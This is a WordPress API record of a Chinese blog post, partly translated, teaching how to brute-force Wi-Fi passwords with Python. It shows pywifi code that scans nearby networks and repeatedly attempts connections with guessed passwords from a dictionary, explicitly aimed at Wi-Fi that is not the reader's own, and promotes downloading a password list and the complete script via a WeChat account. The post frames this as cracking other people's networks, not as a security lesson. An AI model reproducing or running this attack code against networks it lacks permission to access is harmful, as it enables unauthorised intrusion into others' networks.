{"id":1450,"date":"2024-03-17T00:46:09","date_gmt":"2024-03-16T16:46:09","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=1450"},"modified":"2024-03-17T00:46:09","modified_gmt":"2024-03-16T16:46:09","slug":"python%e5%a6%82%e4%bd%95%e6%9a%b4%e5%8a%9b%e7%a0%b4%e8%a7%a3wifi%e5%af%86%e7%a0%81","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/17\/python%e5%a6%82%e4%bd%95%e6%9a%b4%e5%8a%9b%e7%a0%b4%e8%a7%a3wifi%e5%af%86%e7%a0%81\/","title":{"rendered":"python \u5982\u4f55\u66b4\u529b\u7834\u89e3 wifi \u5bc6\u7801"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n<p>\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n<pre data-source-line=\"9\"><code class=\"hljs\"><span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">scanWifis<\/span><span class=\"hljs-params\">()<\/span>:<\/span><br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u83b7\u53d6\u7f51\u5361\u63a5\u53e3<\/span><\/span><br>&nbsp;&nbsp;&nbsp;&nbsp;wifi = pywifi.PyWiFi()<br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u83b7\u53d6\u7b2c\u4e00\u4e2a\u7f51\u5361<\/span><\/span><br>&nbsp;&nbsp;&nbsp;&nbsp;iface = wifi.interfaces()[<span class=\"hljs-number\">0<\/span>]<br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u626b\u63cf\u5468\u56f4\u7684<\/span> wifi<\/span><br>&nbsp;&nbsp;&nbsp;&nbsp;iface.scan()<br>&nbsp;&nbsp;&nbsp;&nbsp;wifis = iface.scan_results()<br>&nbsp;&nbsp;&nbsp;&nbsp;print(wifis)<br>&nbsp;&nbsp;&nbsp;&nbsp;wifiList = []<br><span class=\"hljs-keyword\" style=\"font-weight: bold\">&nbsp;&nbsp;&nbsp;&nbsp;for<\/span> wifi <span class=\"hljs-keyword\" style=\"font-weight: bold\">in<\/span> wifis:<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># wifi <span class=\"zh-hans\">\u7684\u540d\u5b57\uff0c\u548c\u4fe1\u53f7<\/span><\/span><br>\twifiList.append((wifi.ssid,wifi.signal))<br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# print(wifiList)<\/span><br><span class=\"hljs-keyword\" style=\"font-weight: bold\">&nbsp;&nbsp;&nbsp;&nbsp;return<\/span> len(wifiList), sorted(wifiList, key=<span class=\"hljs-keyword\" style=\"font-weight: bold\">lambda<\/span> st: st[<span class=\"hljs-number\">1<\/span>], reverse=<span class=\"hljs-keyword\" style=\"font-weight: bold\">True<\/span>)<br><\/code><\/pre>\n<p>\u2191 Click &#8220;yanjoo&#8221; above to follow us. Lately, I&#8217;ve been into violence and today I&#8217;m going to violently crack Wi-Fi passwords. Okay, brute-forcing is the process of automatically trying out passwords by writing code instead of manually entering them one by one. Although it&#8217;s not the smartest method, it&#8217;s quite effective. Haha. Let&#8217;s think about how to do brute-forcing.<\/p>\n<p>First, we need to obtain the Wi-Fi network we want to crack. We don&#8217;t need to crack our own home Wi-Fi, of course. Okay, there are two ways to obtain it: one is to directly click on the Wi-Fi network connection on our computer to view the names of nearby Wi-Fi signals. The second way, of course, is to write code to obtain it.<\/p>\n<pre data-source-line=\"33\"><code class=\"hljs\"><span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">wificonnect<\/span><span class=\"hljs-params\">(wifiname,wifipwd)<\/span>:<\/span><br><span class=\"hljs-string\">&nbsp;&nbsp;&nbsp;&nbsp;''''<span class=\"zh-hans\">\u5c1d\u8bd5\u8fde\u63a5<\/span>'''<\/span><br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u83b7\u53d6\u7f51\u5361\u63a5\u53e3<\/span><\/span><br>&nbsp;&nbsp;&nbsp;&nbsp;wifi = pywifi.PyWiFi()<br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u83b7\u53d6\u7b2c\u4e00\u4e2a\u7f51\u5361<\/span><\/span><br>&nbsp;&nbsp;&nbsp;&nbsp;iface = wifi.interfaces()[<span class=\"hljs-number\">0<\/span>]<br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u65ad\u5f00\u5f53\u524d\u7684<\/span> wifi <span class=\"zh-hans\">\u8fde\u63a5<\/span><\/span><br>&nbsp;&nbsp;&nbsp;&nbsp;iface.disconnect()<br>&nbsp;&nbsp;&nbsp;&nbsp;time.sleep(<span class=\"hljs-number\">0.5<\/span>)<br><span class=\"hljs-keyword\" style=\"font-weight: bold\">&nbsp;&nbsp;&nbsp;&nbsp;if<\/span> iface.status() == const.IFACE_DISCONNECTED:<br><span class=\"hljs-comment\" style=\"font-style: italic\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# <span class=\"zh-hans\">\u521b\u5efa\u4e00\u4e2a<\/span> wifi <span class=\"zh-hans\">\u8fde\u63a5\u6587\u4ef6<\/span><\/span><br>\tprofile = pywifi.Profile()<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u9700\u8981\u8fde\u63a5\u7684<\/span> wifi <span class=\"zh-hans\">\u540d\u79f0<\/span><\/span><br>\tprofile.ssid = wifiname<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u9700\u8981\u8fde\u63a5\u7684<\/span> wifi <span class=\"zh-hans\">\u7684\u5c1d\u8bd5\u5bc6\u7801<\/span><\/span><br>\tprofile.key = wifipwd<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u8bbe\u7f6e<\/span> wifi <span class=\"zh-hans\">\u7684\u52a0\u5bc6\u7b97\u6cd5<\/span><\/span><br>\tprofile.akm.append(const.AKM_TYPE_WPA2PSK)<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u8bbe\u7f6e\u7f51\u5361\u7684\u5f00\u653e<\/span><\/span><br>\tprofile.auth = const.AUTH_ALG_OPEN<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u8bbe\u7f6e<\/span> wifi <span class=\"zh-hans\">\u52a0\u5bc6\u5355\u5143<\/span><\/span><br>\tprofile.cipher = const.CIPHER_TYPE_CCMP<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u5220\u9664\u6240\u6709\u7684<\/span> wifi <span class=\"zh-hans\">\u8fde\u63a5\u6587\u4ef6\uff0c\u5c31\u662f\u4e4b\u524d\u6240\u521b\u5efa\u7684<\/span> profile<\/span><br>\tiface.remove_all_network_profiles()<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u8bbe\u7f6e\u65b0\u7684<\/span> wifi <span class=\"zh-hans\">\u8fde\u63a5\u6587\u4ef6<\/span><\/span><br>\ttmp_profile = iface.add_network_profile(profile)<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u8fde\u63a5<\/span> wifi<\/span><br>\tiface.connect(tmp_profile)<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u8fde\u63a5<\/span> wifi <span class=\"zh-hans\">\u4e00\u822c\u9700\u8981\u51e0\u79d2\u7684\u65f6\u95f4\uff0c\u6839\u636e\u81ea\u5df1\u5b9e\u9645\u60c5\u51b5<\/span><\/span><br>\ttime.sleep(<span class=\"hljs-number\">1<\/span>)<br>\t<span class=\"hljs-comment\" style=\"font-style: italic\"># <span class=\"zh-hans\">\u67e5\u770b\u662f\u5426\u8fde\u63a5\u6210\u529f\uff0c\u6210\u529f\u8fd4\u56de<\/span> true <span class=\"zh-hans\">\uff0c\u5931\u8d25\u8fd4\u56de<\/span> false<\/span><br>\t<span class=\"hljs-keyword\" style=\"font-weight: bold\">if<\/span>(iface.status()==const.IFACE_CONNECTED):<br>\t&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"hljs-keyword\" style=\"font-weight: bold\">return<\/span> <span class=\"hljs-keyword\" style=\"font-weight: bold\">True<\/span><br>\t<span class=\"hljs-keyword\" style=\"font-weight: bold\">else<\/span>:<br>\t&nbsp;&nbsp;&nbsp;&nbsp;<span class=\"hljs-keyword\" style=\"font-weight: bold\">return<\/span> <span class=\"hljs-keyword\" style=\"font-weight: bold\">False<\/span><br><span class=\"hljs-keyword\" style=\"font-weight: bold\">&nbsp;&nbsp;&nbsp;&nbsp;else<\/span>:<br>\tprint(<span class=\"hljs-string\">'disconnect error'<\/span>)<br>\t<span class=\"hljs-keyword\" style=\"font-weight: bold\">return<\/span> <span class=\"hljs-keyword\" style=\"font-weight: bold\">False<\/span><br><\/code><\/pre>\n<p>Once we have the target to crack, we need to start the cracking process. And to do that, we need passwords. Okay, here&#8217;s the key point: where do we get a large number of passwords? We can generate them by writing code, generating all possible combinations of letters, numbers, and special characters. We can also use tools to generate them or download them. Another option is to follow this official account and reply with &#8220;wifi&#8221; to download a comprehensive password dictionary. Now that we have the target and the passwords, it&#8217;s time to write the code and start the cracking process.<\/p>\n<pre data-source-line=\"77\"><code class=\"hljs\">sudo python attackwifi<span class=\"hljs-selector-class\">.py<\/span><br><\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710607568318_0.png\" alt=\"wifi\u5e38\u7528\u5bc6\u7801\u5b57\u5178\u4e0b\u8f7d\"><!-- \u6587\u7ae0\u6765\u6e90:http:\/\/mp.weixin.qq.com\/s?src=11&amp;timestamp=1710607436&amp;ver=5142&amp;signature=2tgXan4hlVK5nPlYQelAZvmbZupWOpAc5pGpJBIkR4wzUNbO0NxhGX9m85atJFDflW*JfqDQyCP8APSnm6Q1kDIS69Run4Y-Bp18jcjgh2NlD33PQcAoGu8vqOJ-hwP9&amp;new=1 --><\/p>\n<p>We retrieve passwords from the dictionary and use the above function to connect to the target Wi-Fi one by one. Once successful, we print out the password. My local password is quite complex, so I put it at the beginning of the dictionary; otherwise, it would take a long time to crack. The main functionality has been completed here, but I haven&#8217;t posted the complete code because it would make the layout messy. If you need the complete code, follow this official account and reply with &#8220;wifi&#8221; to get it.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>python \u5982\u4f55\u66b4\u529b\u7834\u89e3 wifi \u5bc6\u7801\u2191 \u70b9\u51fb\u4e0a\u65b9\u201cyanjoo\u201d\u5173\u6ce8\u6211\u4eec\u6700\u8fd1\u6709\u70b9\u559c\u6b22\u66b4\u529b\uff0c\u4eca\u5929\u53c8\u6765\u66b4\u529b\u7834\u89e3 wifi \u5bc6\u7801\u3002ok \uff0c\u66b4\u529b\u7834\u89e3\uff0c\u5c31\u662f\u628a\u624b\u52a8\u9010\u4e2a\u7684\u5c1d\u8bd5\u8f93\u5165\u5bc6\u7801\u7684\u8fc7\u7a0b\u5199\u4ee3\u7801\u81ea\u52a8\u5927\u91cf\u7684\u6267\u884c\u3002\u867d\u7136\u662f\u4e2a\u4e0d\u806a\u660e\u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u5f88\u7ba1\u7528\u3002<\/p>\n","protected":false},"author":1,"featured_media":1451,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-1450","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/1450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=1450"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/1450\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/1451"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=1450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=1450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=1450"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=1450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}